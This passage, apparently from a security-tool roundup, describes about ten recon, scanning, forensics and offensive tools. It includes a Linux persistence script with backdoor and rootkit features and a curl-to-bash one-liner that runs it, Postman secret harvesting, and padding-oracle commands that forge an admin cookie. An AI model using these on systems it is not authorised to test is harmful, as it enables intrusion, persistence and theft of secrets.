  • Risk Level: Medium-High. While they require more interpretation than the UI interfaces, they still reveal extensive information about the API.

3. Medium Risk Endpoints (API Documentation Versions):

• Endpoints:
  • '/v2/api-docs', '/v3/api-docs', '/api/v2/swagger.json', '/api/v3/swagger.json', '/api/v1/documentation', '/api/v2/documentation', '/api/v3/documentation', '/api/v1/api-docs', '/api/v2/api-docs', '/api/v3/api-docs', '/swagger/v2/api-docs', '/swagger/v3/api-docs', '/swagger-ui.html/v2/api-docs', '/swagger-ui.html/v3/api-docs', '/api/swagger/v2/api-docs', '/api/swagger/v3/api-docs'
• Risk:
  • These endpoints often refer to version-specific documentation or API descriptions. They reveal information about the API's structure and capabilities, which could aid an attacker in understanding the API's functionality and potential weaknesses.
  • Risk Level: Medium. These might not be as detailed as the complete documentation or schema files, but they still provide useful information for attackers.

4. Lower Risk Endpoints (Configuration and Resources):

• Endpoints:
  • '/swagger-resources', '/swagger-resources/configuration/ui', '/swagger-resources/configuration/security', '/api/swagger-resources', '/api.html'
• Risk:
  • These endpoints often provide auxiliary information, configuration details, or resources related to the API documentation setup.
  • Risk Level: Lower. They may not directly reveal API endpoint details but can give insights into the configuration and setup of the API documentation.

Summary:

• Highest Risk: Directly exposing interactive API documentation interfaces.
• Medium-High Risk: Exposing raw API schema/specification files.
• Medium Risk: Version-specific API documentation.
• Lower Risk: Configuration and resource files for API documentation.

Recommendations:

• Access Control: Ensure that these endpoints are not publicly accessible or are at least protected by authentication mechanisms.
• Environment-Specific Exposure: Consider exposing detailed API documentation only in development or staging environments, not in production.
• Monitoring and Logging: Monitor access to these endpoints and set up alerts for unusual access patterns.

Contributing

Contributions to APIDetector are welcome! Feel free to fork the repository, make changes, and submit pull requests.

Legal Disclaimer

The use of APIDetector should be limited to testing and educational purposes only. The developers of APIDetector assume no liability and are not responsible for any misuse or damage caused by this tool. It is the end user's responsibility to obey all applicable local, state, and federal laws. Developers assume no responsibility for unauthorized or illegal use of this tool. Before using APIDetector, ensure you have permission to test the network or systems you intend to scan.

License

This project is licensed under the MIT License.

Acknowledgments

• Thanks to all the contributors who have helped with testing, suggestions, and improvements.
• Author: Rafael B. Brinhosa - https://www.linkedin.com/in/brinhosa/

NetProbe - Network Probe

NetProbe is a tool you can use to scan for devices on your network. The program sends ARP requests to any IP address on your network and lists the IP addresses, MAC addresses, manufacturers, and device models of the responding devices.

Features

• Scan for devices on a specified IP address or subnet
• Display the IP address, MAC address, manufacturer, and device model of discovered devices
• Live tracking of devices (optional)
• Save scan results to a file (optional)
• Filter by manufacturer (e.g., 'Apple') (optional)
• Filter by IP range (e.g., '192.168.1.0/24') (optional)
• Scan rate in seconds (default: 5) (optional)

Download

You can download the program from the GitHub page.

$ git clone https://github.com/HalilDeniz/NetProbe.git

Installation

To install the required libraries, run the following command:

$ pip install -r requirements.txt

Usage

To run the program, use the following command:

$ python3 netprobe.py [-h] -t  [...] -i  [...] [-l] [-o] [-m] [-r] [-s]

• -h,--help: show this help message and exit
• -t,--target: Target IP address or subnet (default: 192.168.1.0/24)
• -i,--interface: Interface to use (default: None)
• -l,--live: Enable live tracking of devices
• -o,--output: Output file to save the results
• -m,--manufacturer: Filter by manufacturer (e.g., 'Apple')
• -r,--ip-range: Filter by IP range (e.g., '192.168.1.0/24')
• -s,--scan-rate: Scan rate in seconds (default: 5)

Example:

$ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -o results.txt -l

Help Menu

$ python3 netprobe.py --help                      
usage: netprobe.py [-h] -t  [...] -i  [...] [-l] [-o] [-m] [-r] [-s]

NetProbe: Network Scanner Tool

options:
  -h, --help            show this help message and exit
  -t  [ ...], --target  [ ...]
                        Target IP address or subnet (default: 192.168.1.0/24)
  -i  [ ...], --interface  [ ...]
                        Interface to use (default: None)
  -l, --live            Enable live tracking of devices
  -o , --output         Output file to save the results
  -m , --manufacturer   Filter by manufacturer (e.g., 'Apple')
  -r , --ip-range       Filter by IP range (e.g., '192.168.1.0/24')
  -s , --scan-rate      Scan rate in seconds (default: 5)

Default Scan

$ python3 netprobe.py 

Live Tracking

You can enable live tracking of devices on your network by using the -l or --live flag. This will continuously update the device list every 5 seconds.

$ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -l

Save Results

You can save the scan results to a file by using the -o or --output flag followed by the desired output file name.

$ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -l -o results.txt

┏━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ IP Address   ┃ MAC Address       ┃ Packet Size ┃ Manufacturer                 ┃
┡━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ 192.168.1.1  │ **:6e:**:97:**:28 │ 102         │ ASUSTek COMPUTER INC.        │
│ 192.168.1.3  │ 00:**:22:**:12:** │ 102         │ InPro Comm                   │
│ 192.168.1.2  │ **:32:**:bf:**:00 │ 102         │ Xiaomi Communications Co Ltd │
│ 192.168.1.98 │ d4:**:64:**:5c:** │ 102         │ ASUSTek COMPUTER INC.        │
│ 192.168.1.25 │ **:49:**:00:**:38 │ 102         │ Unknown                      │
└──────────────┴───────────────────┴─────────────┴──────────────────────────────┘

Contact

If you have any questions, suggestions, or feedback about the program, please feel free to reach out to me through any of the following platforms:

• Mywebsite: Denizhalil
• LinkedIn: LinkedIn
• TryHackMe: TryHackMe
• Instagram: Instagram
• YouTube: YouTube
• Email: halildeniz313@gmail.com

License

This program is released under the MIT LICENSE. See LICENSE for more information.

AcuAutomate - Unofficial Acunetix CLI Tool For Automated Pentesting And Bug Hunting Across Large Scopes

AcuAutomate is an unofficial Acunetix CLI tool that simplifies automated pentesting and bug hunting across extensive targets. It's a valuable aid during large-scale pentests, enabling the easy launch or stoppage of multiple Acunetix scans simultaneously. Additionally, its versatile functionality seamlessly integrates into enumeration wrappers or one-liners, offering efficient control through its pipeline capabilities.

Installation

git clone https://github.com/danialhalo/AcuAutomate.git
cd AcuAutomate
chmod +x AcuAutomate.py
pip3 install -r requirements.txt

Configuration (config.json)

Before using AcuAutomate, you need to set up the configuration file config.json inside the AcuAutomate folder:

{
    "url": "https://localhost",
    "port": 3443,
    "api_key": "API_KEY"
}

• The URL and PORT parameter is set to default acunetix settings, However this can be changed depending on acunetix configurations.
• Replace the API_KEY with your acunetix api key. The key can be obtained from user profiles at https://localhost:3443/#/profile

Usage

The help parameter (-h) can be used for accessing more detailed help for specific actions

    		                               __  _                 ___
    		  ____ ________  ______  ___  / /_(_)  __      _____/ (_)
    		 / __ `/ ___/ / / / __ \/ _ \/ __/ / |/_/_____/ ___/ / /
    		/ /_/ / /__/ /_/ / / / /  __/ /_/ />  </_____/ /__/ / /
    		\__,_/\___/\__,_/_/ /_/\___/\__/_/_/|_|      \___/_/_/

    		                   -: By Danial Halo :-


usage: AcuAutomate.py [-h] {scan,stop} ...

Launch or stop a scan using Acunetix API

positional arguments:
  {scan,stop}  Action to perform
    scan       Launch a scan use scan -h
    stop       Stop a scan

options:
  -h, --help   show this help message and exit

Scan Actions

For launching the scan you need to use the scan actions:

xubuntu:~/AcuAutomate$ ./AcuAutomate.py scan -h

usage: AcuAutomate.py scan [-h] [-p] [-d DOMAIN] [-f FILE]
                           [-t {full,high,weak,crawl,xss,sql}]

options:
  -h, --help            show this help message and exit
  -p, --pipe            Read from pipe
  -d DOMAIN, --domain DOMAIN
                        Domain to scan
  -f FILE, --file FILE  File containing list of URLs to scan
  -t {full,high,weak,crawl,xss,sql}, --type {full,high,weak,crawl,xss,sql}
                        High Risk Vulnerabilities Scan, Weak Password Scan, Crawl Only,
                        XSS Scan, SQL Injection Scan, Full Scan (by default)

Scanning Single Target

The domain can be provided with -d flag for single site scan:

./AcuAutomate.py scan -d https://www.google.com

Scanning Multiple Targets

For scanning multiple domains the domains need to be added into the file and then specify the file name with -f flag:

./AcuAutomate.py scan -f domains.txt

Pipeline

The AcuAutomate can also worked with the pipeline input with -p flag:

cat domain.txt | ./AcuAutomate.py scan -p

This is Great  as it can enable the AcuAutomate to work with other tools. For example we can use the subfinder , httpx and then pipe the output to AcuAutomate for mass scanning with acunetix:

subfinder -silent -d google.com | httpx -silent | ./AcuAutomate.py scan -p

scan type

The -t flag can be used to define the scan type. For example the following scan will only detect the SQL vulnerabilities:

./AcuAutomate.py scan -d https://www.google.com -t sql

Note

AcuAutomate only accept the domains with http:// or https://

Stop Action

The stop action can be used for stoping the scan either with -d flag for stoping scan by specifing the domain or with -a flage for stopping all running scans.

xubuntu:~/AcuAutomate$ ./AcuAutomate.py stop -h


    		                               __  _                 ___
    		  ____ ________  ______  ___  / /_(_)  __      _____/ (_)
    		 / __ `/ ___/ / / / __ \/ _ \/ __/ / |/_/_____/ ___/ / /
    		/ /_/ / /__/ /_/ / / / /  __/ /_/ />  </_____/ /__/ / /
    		\__,_/\___/\__,_/_/ /_/\___/\__/_/_/|_|      \___/_/_/

    		                   -: By Danial Halo :-


usage: AcuAutomate.py stop [-h] [-d DOMAIN] [-a]

options:
  -h, --help            show this help message and exit
  -d DOMAIN, --domain DOMAIN
                        Domain of the scan to stop
  -a, --all             Stop all Running Scans

Contact

Please submit any bugs, issues, questions, or feature requests under "Issues" or send them to me on Twitter. @DanialHalo

Porch-Pirate - The Most Comprehensive Postman Recon / OSINT Client And Framework That Facilitates The Automated Discovery And Exploitation Of API Endpoints And Secrets Committed To Workspaces, Collections, Requests, Users And Teams

Porch Pirate started as a tool to quickly uncover Postman secrets, and has slowly begun to evolve into a multi-purpose reconaissance / OSINT framework for Postman. While existing tools are great proof of concepts, they only attempt to identify very specific keywords as "secrets", and in very limited locations, with no consideration to recon beyond secrets. We realized we required capabilities that were "secret-agnostic", and had enough flexibility to capture false-positives that still provided offensive value.

Porch Pirate enumerates and presents sensitive results (global secrets, unique headers, endpoints, query parameters, authorization, etc), from publicly accessible Postman entities, such as:

• Workspaces
• Collections
• Requests
• Users
• Teams

Installation

python3 -m pip install porch-pirate

Using the client

The Porch Pirate client can be used to nearly fully conduct reviews on public Postman entities in a quick and simple fashion. There are intended workflows and particular keywords to be used that can typically maximize results. These methodologies can be located on our blog: Plundering Postman with Porch Pirate.

Porch Pirate supports the following arguments to be performed on collections, workspaces, or users.

• --globals
• --collections
• --requests
• --urls
• --dump
• --raw
• --curl

Simple Search

porch-pirate -s "coca-cola.com"

Get Workspace Globals

By default, Porch Pirate will display globals from all active and inactive environments if they are defined in the workspace. Provide a -w argument with the workspace ID (found by performing a simple search, or automatic search dump) to extract the workspace's globals, along with other information.

porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8

Dump Workspace

When an interesting result has been found with a simple search, we can provide the workspace ID to the -w argument with the --dump command to begin extracting information from the workspace and its collections.

porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --dump

Automatic Search and Globals Extraction

Porch Pirate can be supplied a simple search term, following the --globals argument. Porch Pirate will dump all relevant workspaces tied to the results discovered in the simple search, but only if there are globals defined. This is particularly useful for quickly identifying potentially interesting workspaces to dig into further.

porch-pirate -s "shopify" --globals

Automatic Search Dump

Porch Pirate can be supplied a simple search term, following the --dump argument. Porch Pirate will dump all relevant workspaces and collections tied to the results discovered in the simple search. This is particularly useful for quickly sifting through potentially interesting results.

porch-pirate -s "coca-cola.com" --dump

Extract URLs from Workspace

A particularly useful way to use Porch Pirate is to extract all URLs from a workspace and export them to another tool for fuzzing.

porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --urls

Automatic URL Extraction

Porch Pirate will recursively extract all URLs from workspaces and their collections related to a simple search term.

porch-pirate -s "coca-cola.com" --urls

Show Collections in a Workspace

porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --collections

Show Workspace Requests

porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --requests

Show raw JSON

porch-pirate -w abd6bded-ac31-4dd5-87d6-aa4a399071b8 --raw

Show Entity Information

porch-pirate -w WORKSPACE_ID

porch-pirate -c COLLECTION_ID

porch-pirate -r REQUEST_ID

porch-pirate -u USERNAME/TEAMNAME

Convert Request to Curl

Porch Pirate can build curl requests when provided with a request ID for easier testing.

porch-pirate -r 11055256-b1529390-18d2-4dce-812f-ee4d33bffd38 --curl

Use a proxy

porch-pirate -s coca-cola.com --proxy 127.0.0.1:8080

Using as a library

Searching

p = porchpirate()
print(p.search('coca-cola.com'))

Get Workspace Collections

p = porchpirate()
print(p.collections('4127fdda-08be-4f34-af0e-a8bdc06efaba'))

Dumping a Workspace

p = porchpirate()
collections = json.loads(p.collections('4127fdda-08be-4f34-af0e-a8bdc06efaba'))
for collection in collections['data']: 
    requests = collection['requests']
    for r in requests:
        request_data = p.request(r['id'])
        print(request_data)

Grabbing a Workspace's Globals

p = porchpirate()
print(p.workspace_globals('4127fdda-08be-4f34-af0e-a8bdc06efaba'))

Other Examples

Other library usage examples can be located in the examples directory, which contains the following examples:

• dump_workspace.py
• format_search_results.py
• format_workspace_collections.py
• format_workspace_globals.py
• get_collection.py
• get_collections.py
• get_profile.py
• get_request.py
• get_statistics.py
• get_team.py
• get_user.py
• get_workspace.py
• recursive_globals_from_search.py
• request_to_curl.py
• search.py
• search_by_page.py
• workspace_collections.py

C2-Search-Netlas - Search For C2 Servers Based On Netlas

C2 Search Netlas is a Java utility designed to detect Command and Control (C2) servers using the Netlas API. It provides a straightforward and user-friendly CLI interface for searching C2 servers, leveraging the Netlas API to gather data and process it locally.

Usage

To utilize this terminal utility, you'll need a Netlas API key. Obtain your key from the Netlas website.

After acquiring your API key, execute the following command to search servers:

c2detect -t <TARGET_DOMAIN> -p <TARGET_PORT> -s <API_KEY> [-v]

Replace <TARGET_DOMAIN> with the desired IP address or domain, <TARGET_PORT> with the port you wish to scan, and <API_KEY> with your Netlas API key. Use the optional -v flag for verbose output. For example, to search at the google.com IP address on port 443 using the Netlas API key 1234567890abcdef, enter:

c2detect -t google.com -p 443 -s 1234567890abcdef

Release

To download a release of the utility, follow these steps:

• Visit the repository's releases page on GitHub.
• Download the latest release file (typically a JAR file) to your local machine.
• In a terminal, navigate to the directory containing the JAR file.
• Execute the following command to initiate the utility:

java -jar c2-search-netlas-<version>.jar -t <ip-or-domain> -p <port> -s <your-netlas-api-key>

Docker

To build and start the Docker container for this project, run the following commands:

docker build -t c2detect .
docker run -it --rm \
  c2detect \
  -s "your_api_key" \
  -t "your_target_domain" \
  -p "your_target_port" \
  -v

Source

To use this utility, you need to have a Netlas API key. You can get the key from the Netlas website. Now you can build the project and run it using the following commands:

./gradlew build
java -jar app/build/libs/c2-search-netlas-1.0-SNAPSHOT.jar --help

This will display the help message with available options. To search for C2 servers, run the following command:

java -jar app/build/libs/c2-search-netlas-1.0-SNAPSHOT.jar -t <ip-or-domain> -p <port> -s <your-netlas-api-key>

This will display a list of C2 servers found in the given IP address or domain.

Support

Legend:

• ✅ - Accept/good support
• ❓ - Support unknown/unclear
• ❌ - No support/poor support

Contributing

If you'd like to contribute to this project, please feel free to create a pull request.

License

This project is licensed under the License - see the LICENSE file for details.

DynastyPersist - A Linux Persistence Tool!

• A Linux persistence tool!

• A powerful and versatile Linux persistence script designed for various security assessment and testing scenarios. This script provides a collection of features that demonstrate different methods of achieving persistence on a Linux system.

Features

1. SSH Key Generation: Automatically generates SSH keys for covert access.

2. Cronjob Persistence: Sets up cronjobs for scheduled persistence.

3. Custom User with Root: Creates a custom user with root privileges.

4. RCE Persistence: Achieves persistence through remote code execution.

5. LKM/Rootkit: Demonstrates Linux Kernel Module (LKM) based rootkit persistence.

6. Bashrc Persistence: Modifies user-specific shell initialization files for persistence.

7. Systemd Service for Root: Sets up a systemd service for achieving root persistence.

8. LD_PRELOAD Privilege Escalation Config: Configures LD_PRELOAD for privilege escalation.

9. Backdooring Message of the Day / Header: Backdoors system message display for covert access.

10. Modify an Existing Systemd Service: Manipulates an existing systemd service for persistence.

Usage

1. Clone this repository to your local machine:

   git clone https://github.com/Trevohack/DynastyPersist.git
   

2. One linear

   curl -sSL https://raw.githubusercontent.com/Trevohack/DynastyPersist/main/src/dynasty.sh | bash
   

Support

For support, email spaceshuttle.io.all@gmail.com or join our Discord server.

• Discord: https://discord.gg/WYzu65Hp

Thank You!

Iac-Scan-Runner - Service That Scans Your Infrastructure As Code For Common Vulnerabilities

Service that scans your Infrastructure as Code for common vulnerabilities.

Purpose and description

The IaC Scan Runner is a REST API service used to scan IaC (Infrastructure as Code) package and perform various code checks in order to find possible vulnerabilities and improvements. Explore the docs for more info.

Running

This section explains how to run the REST API.

Run with Docker

You can run the REST API using a public xscanner/runner Docker image as follows:

# run IaC Scan Runner REST API in a Docker container and 
# navigate to localhost:8080/swagger or localhost:8080/redoc
$ docker run --name iac-scan-runner -p 8080:80 xscanner/runner

Or you can build the image locally and run it as follows:

# build Docker container (it will take some time) 
$ docker build -t iac-scan-runner .
# run IaC Scan Runner REST API in a Docker container and 
# navigate to localhost:8080/swagger or localhost:8080/redoc
$ docker run --name iac-scan-runner -p 8080:80 iac-scan-runner

Run from CLI

To run using the IaC Scan Runner CLI:

# install the CLI
$ python3 -m venv .venv && . .venv/bin/activate
(.venv) $ pip install iac-scan-runner
# print OpenAPI specification
(.venv) $ iac-scan-runner openapi
# install prerequisites
(.venv) $ iac-scan-runner install
# run IaC Scan Runner REST API
(.venv) $ iac-scan-runner run

Run from source

To run locally from source:

# Export env variables 
export MONGODB_CONNECTION_STRING=mongodb://localhost:27017
export SCAN_PERSISTENCE=enabled
export USER_MANAGEMENT=enabled

# Setup MongoDB
$ docker run --name mongodb -p 27017:27017 mongo

# install prerequisites
$ python3 -m venv .venv && . .venv/bin/activate
(.venv) $ pip install -r requirements.txt
(.venv) $ ./install-checks.sh
# run IaC Scan Runner REST API (add --reload flag to apply code changes on the way)
(.venv) $ uvicorn src.iac_scan_runner.api:app

Usage and examples

This part will show one of the possible deployments and short examples on how to use API calls.

Firstly we will clone the iac scan runner repository and run the API.

$ git clone https://github.com/xlab-si/iac-scan-runner.git
$ docker compose up

After this is done you can use different API endpoints by calling localhost:8000. You can also navigate to localhost:8000/swagger or localhost:8000/redoc and test all the API endpoints there. In this example, we will use curl for calling API endpoints.

1. Lets create a project named test.

curl -X 'POST' \
  'http://0.0.0.0/project?creator_id=test' \
  -H 'accept: application/json' \
  -d ''

project id will be returned to us. For this example project id is 1e7b2a91-2896-40fd-8d53-83db56088026.

2. For example, let say we want to initiate all check expect ansible-lint. Let's disable it.

curl -X 'PUT' \
  'http://0.0.0.0:8000/projects/1e7b2a91-2896-40fd-8d53-83db56088026/checks/ansible-lint/disable' \
  -H 'accept: application/json'

3. Now when project is configured, we can simply choose files that we want to scan and zip them. For IaC-Scan-Runner to work files are expected to be a compressed archives (usually zip files). In this case response type will be json , but it is possible to change it to html.Please change YOUR.zip to path of your file.

curl -X 'POST' \
  'http://0.0.0.0:8000/projects/1e7b2a91-2896-40fd-8d53-83db56088026/scan?scan_response_type=json' \
  -H 'accept: application/json' \
  -H 'Content-Type: multipart/form-data' \
  -F 'iac=@YOUR.zip;type=application/zip'

That is it.

Extending the scan workflow with new check tools

At certain point, it might be required to include new check tools within the scan workflow, with aim to provide wider coverage of IaC standards and project types. Therefore, in this subsection, a sequence of required steps for that purpose is identified and described. However, the steps have to be performed manually as it will be described, but it is planned to automatize this procedure in future via API and provide user-friendly interface that will aid the user while importing new tools that will become part of the available catalogue that makes the scan workflow. Figure 16 depicts the required steps which have to be taken in order to extend the scan workflow with a new tool.

Step 1 – Adding tool-specific class to checks directory First, it is required to add a new tool-specific Python class to the checks directory inside IaC Scan Runner’s source code: iac-scan-runner/src/iac_scan_runner/checks/new_tool.py
The class of a new tool inherits the existing Check class, which provides generalization of scan workflow tools. Moreover, it is necessary to provide implementation of the following methods:

1. def configure(self, config_filename: Optional[str], secret: Optional[SecretStr])
2. def run(self, directory: str) While the first one aims to provide the necessary tool-specific parameters in order to set it up (such as passwords, client ids and tokens), another one specifies how the tool itself is invoked via API or CLI and its raw output returned.

Step 2 – Adding the check tool class instance within ScanRunner constructor Once the new class derived from Check is added to the IaC Scan Runner’s source code, it is also required to modify the source code of its main class, called ScanRunner. When it comes to modifications of this class, it is required first to import the tool-specific class, create a new check tool-specific class instance and adding it to the dictionary of IaC checks inside def init_checks(self). A. Importing the check tool class from iac_scan_runner.checks.tfsec import TfsecCheck B. Creating new instance of check tool object inside init_checks """Initiate predefined check objects""" new_tool = NewToolCheck() C. Adding it to self.iac_checks dictionary inside init_checks

    self.iac_checks = {
        new_tool.name: new_tool,
        …
    }

Step 3 – Adding the check tool to the compatibility matrix inside Compatibility class On the other side, inside file src/iac_scan_runner/compatibility.py, the dictionary which represents compatibility matrix should be extended as well. There are two possible cases: a) new file type should be added as a key, together with list of relevant tools as value b) new tool should be added to the compatibility list for the existing file type.

    compatibility_matrix = {
        "new_type": ["new_tool_1", "new_tool_2"],
        …
        "old_typeK": ["tool_1", …  "tool_N", "new_tool_3"]
    }

Step 4 – Providing the support for result summarization Finally, the last step in sequence of required modifications for scan workflow extension is to modify class ResultsSummary (src/iac_scan_runner/results_summary.py). Precisely, it is required to append a part of the code to its method summarize_outcome that will look for specific strings which are tool-specific and can be used to identify whether the check passed or failed. Inside the loop that traverses the compatible checks, for each new tool the following structure of if-else should be included:

        if check == "new_tool":
            if outcome.find("Check pass string") > -1:
                self.outcomes[check]["status"] = "Passed"
                return "Passed"
            else:
                self.outcomes[check]["status"] = "Problems"
                return "Problems"

Contact

You can contact the xOpera team by sending an email to xopera@xlab.si.

Acknowledgement

This project has received funding from the European Union’s Horizon 2020 research and innovation programme under Grant Agreement No. 101000162 (PIACERE).

ICS-Forensics-Tools - Microsoft ICS Forensics Framework

Microsoft ICS Forensics Tools is an open source forensic framework for analyzing Industrial PLC metadata and project files.
it enables investigators to identify suspicious artifacts on ICS environment for detection of compromised devices during incident response or manual check.
open source framework, which allows investigators to verify the actions of the tool or customize it to specific needs.

Getting Started

These instructions will get you a copy of the project up and running on your local machine for development and testing purposes.

git clone https://github.com/microsoft/ics-forensics-tools.git

Prerequisites

• Install Python >= 3.9: https://www.python.org/downloads

Installing

• Install python requirements

  pip install -r requirements.txt
  

Usage

General application arguments:

Specific plugin arguments:

Executing examples in the command line

 python driver.py -s -v PluginName --ip ips.csv
 python driver.py -s -v PluginName --analyzer AnalyzerName
 python driver.py -s -v -c config.json --multiprocess

Import as library example

from forensic.client.forensic_client import ForensicClient
from forensic.interfaces.plugin import PluginConfig
forensic = ForensicClient()
plugin = PluginConfig.from_json({
    "name": "PluginName",
    "port": 123,
    "transport": "tcp",
    "addresses": [{"ip": "192.168.1.0/24"}, {"ip": "10.10.10.10"}],
    "parameters": {
    },
    "analyzers": []
})
forensic.scan([plugin])

Architecture

Adding Plugins

When developing locally make sure to mark src folder as "Sources root"

• Create new directory under plugins folder with your plugin name
• Create new Python file with your plugin name
• Use the following template to write your plugin and replace 'General' with your plugin name

from pathlib import Path
from forensic.interfaces.plugin import PluginInterface, PluginConfig, PluginCLI
from forensic.common.constants.constants import Transport


class GeneralCLI(PluginCLI):
    def __init__(self, folder_name):
        super().__init__(folder_name)
        self.name = "General"
        self.description = "General Plugin Description"
        self.port = 123
        self.transport = Transport.TCP

    def flags(self, parser):
        self.base_flags(parser, self.port, self.transport)
        parser.add_argument('--general', help='General additional argument', metavar="")


class General(PluginInterface):
    def __init__(self, config: PluginConfig, output_dir: Path, verbose: bool):
        super().__init__(config, output_dir, verbose)

    def connect(self, address):
        self.logger.info(f"{self.config.name} connect")

    def export(self,    extracted):
        self.logger.info(f"{self.config.name} export")

• Make sure to import your new plugin in the __init__.py file under the plugins folder
• In the PluginInterface inherited class there is 'config' parameters, you can use this to access any data that's available in the PluginConfig object (plugin name, addresses, port, transport, parameters).
  there are 2 mandatory functions (connect, export).
  the connect function receives single ip address and extracts any relevant information from the device and return it.
  the export function receives the information that was extracted from all the devices and there you can export it to file.
• In the PluginCLI inherited class you need to specify in the init function the default information related to this plugin.
  there is a single mandatory function (flags).
  In which you must call base_flags, and you can add any additional flags that you want to have.

Adding Analyzers

• Create new directory under analyzers folder with the plugin name that related to your analyzer.
• Create new Python file with your analyzer name
• Use the following template to write your plugin and replace 'General' with your plugin name

from pathlib import Path
from forensic.interfaces.analyzer import AnalyzerInterface, AnalyzerConfig


class General(AnalyzerInterface):
    def __init__(self, config: AnalyzerConfig, output_dir: Path, verbose: bool):
        super().__init__(config, output_dir, verbose)
        self.plugin_name = 'General'
        self.create_output_dir(self.plugin_name)

    def analyze(self):
      pass

• Make sure to import your new analyzer in the __init__.py file under the analyzers folder

Resources and Technical data & solution:

Microsoft Defender for IoT is an agentless network-layer security solution that allows organizations to continuously monitor and discover assets, detect threats, and manage vulnerabilities in their IoT/OT and Industrial Control Systems (ICS) devices, on-premises and in Azure-connected environments.

Section 52 under MSRC blog
ICS Lecture given about the tool
Section 52 - Investigating Malicious Ladder Logic | Microsoft Defender for IoT Webinar - YouTube

Contributing

This project welcomes contributions and suggestions. Most contributions require you to agree to a Contributor License Agreement (CLA) declaring that you have the right to, and actually do, grant us the rights to use your contribution. For details, visit https://cla.opensource.microsoft.com.

When you submit a pull request, a CLA bot will automatically determine whether you need to provide a CLA and decorate the PR appropriately (e.g., status check, comment). Simply follow the instructions provided by the bot. You will only need to do this once across all repos using our CLA.

This project has adopted the Microsoft Open Source Code of Conduct. For more information see the Code of Conduct FAQ or contact opencode@microsoft.com with any additional questions or comments.

Trademarks

This project may contain trademarks or logos for projects, products, or services. Authorized use of Microsoft trademarks or logos is subject to and must follow Microsoft's Trademark & Brand Guidelines. Use of Microsoft trademarks or logos in modified versions of this project must not cause confusion or imply Microsoft sponsorship. Any use of third-party trademarks or logos are subject to those third-party's policies.

MemTracer - Memory Scaner

MemTracer is a tool that offers live memory analysis capabilities, allowing digital forensic practitioners to discover and investigate stealthy attack traces hidden in memory. The MemTracer is implemented in Python language, aiming to detect reflectively loaded native .NET framework Dynamic-Link Library (DLL). This is achieved by looking for the following abnormal memory region’s characteristics:

• The state of memory pages flags in each memory region. Specifically, the MEM_COMMIT flag which is used to reserve memory pages for virtual memory use.
• The type of pages in the region. The MEM_MAPPED page type indicates that the memory pages within the region are mapped into the view of a section.
• The memory protection for the region. The PAGE_READWRITE protection to indicate that the memory region is readable and writable, which happens if Assembly.Load(byte[]) method is used to load a module into memory.
• The memory region contains a PE header.

The tool starts by scanning the running processes, and by analyzing the allocated memory regions characteristics to detect reflective DLL loading symptoms. Suspicious memory regions which are identified as DLL modules are dumped for further analysis and investigation.
Furthermore, the tool features the following options:

• Dump the compromised process.
• Export a JSON file that provides information about the compromised process, such as the process name, ID, path, size, and base address.
• Search for specific loaded module by name.

Example

python.exe memScanner.py [-h] [-r] [-m MODULE]
-h, --help show this help message and exit
-r, --reflectiveScan Looking for reflective DLL loading
-m MODULE, --module MODULE Looking for spcefic loaded DLL

The script needs administrator privileges in order incepect all processes.

Padre - Blazing Fast, Advanced Padding Oracle Exploit

padre is an advanced exploiter for Padding Oracle attacks against CBC mode encryption

Features:

• blazing fast, concurrent implementation
• decryption of tokens
• encryption of arbitrary data
• automatic fingerprinting of padding oracles
• automatic detection of cipher block length
• HINTS! if failure occurs during operations, padre will hint you about what can be tweaked to succeed
• supports tokens in GET/POST parameters, Cookies
• flexible specification of encoding rules (base64, hex, etc.)

Demo

Installation/Update

• Fastest way is to download pre-compiled binary for your OS from Latest release

• Alternatively, if you have Go installed, build from source:

go install github.com/glebarez/padre@latest

Usage scenario

If you find a suspected padding oracle, where the encrypted data is stored inside a cookie named SESS, you can use the following:

padre -u 'https://target.site/profile.php' -cookie 'SESS=$' 'Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg=='

padre will automatically fingerprint HTTP responses to determine if padding oracle can be confirmed. If server is indeed vulnerable, the provided token will be decrypted into something like:

 {"user_id": 456, "is_admin": false}

It looks like you could elevate your privileges here!

You can attempt to do so by first generating your own encrypted data that the oracle will decrypt back to some sneaky plaintext:

padre -u 'https://target.site/profile.php' -cookie 'SESS=$' -enc '{"user_id": 456, "is_admin": true}'

This will spit out another encoded set of encrypted data, perhaps something like below (if base64 used):

dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=

Now you can open your browser and set the value of the SESS cookie to the above value. Loading the original oracle page, you should now see you are elevated to admin level.

Impact of padding Oracles

• disclosing encrypted session information
• bypassing authentication
• providing fake tokens that server will trust
• generally, broad extension of attack surface

Full usage options

Usage: padre [OPTIONS] [INPUT]

INPUT: 
	In decrypt mode: encrypted data
	In encrypt mode: the plaintext to be encrypted
	If not passed, will read from STDIN

	NOTE: binary data is always encoded in HTTP. Tweak encoding rules if needed (see options: -e, -r)

OPTIONS:

-u *required*
	target URL, use $ character to define token placeholder (if present in URL)

-enc
	Encrypt mode

-err
	Regex pattern, HTTP response bodies will be matched against this to detect padding oracle. Omit to perform automatic fingerprinting

-e
	Encoding to apply to binary data. Supported values:
		b64 (standard base64) *default*
		lhex (lowercase hex)

-r
	Additional replacements to apply after encoding binary data. Use odd-length strings, consiting of pairs of characters <OLD><NEW>.
	Example:
		If server uses base64, but replaces '/' with '!', '+' with '-', '=' with '~', then use -r "/!+-=~"

-cookie
	Cookie value to be set in HTTP requests. Use $ character to mark token placeholder.

-post
	String data to perform POST requests. Use $ character to mark token placeholder. 

-ct
	Content-Type for POST requests. If not specified, Content-Type will be determined automatically.

-b
	Block length used in cipher (use 16 for AES). Omit to perform automatic detection. Supported values:
		8
		16 *default*
		32

-p
	Number of parallel HTTP connections established to target server [1-256]
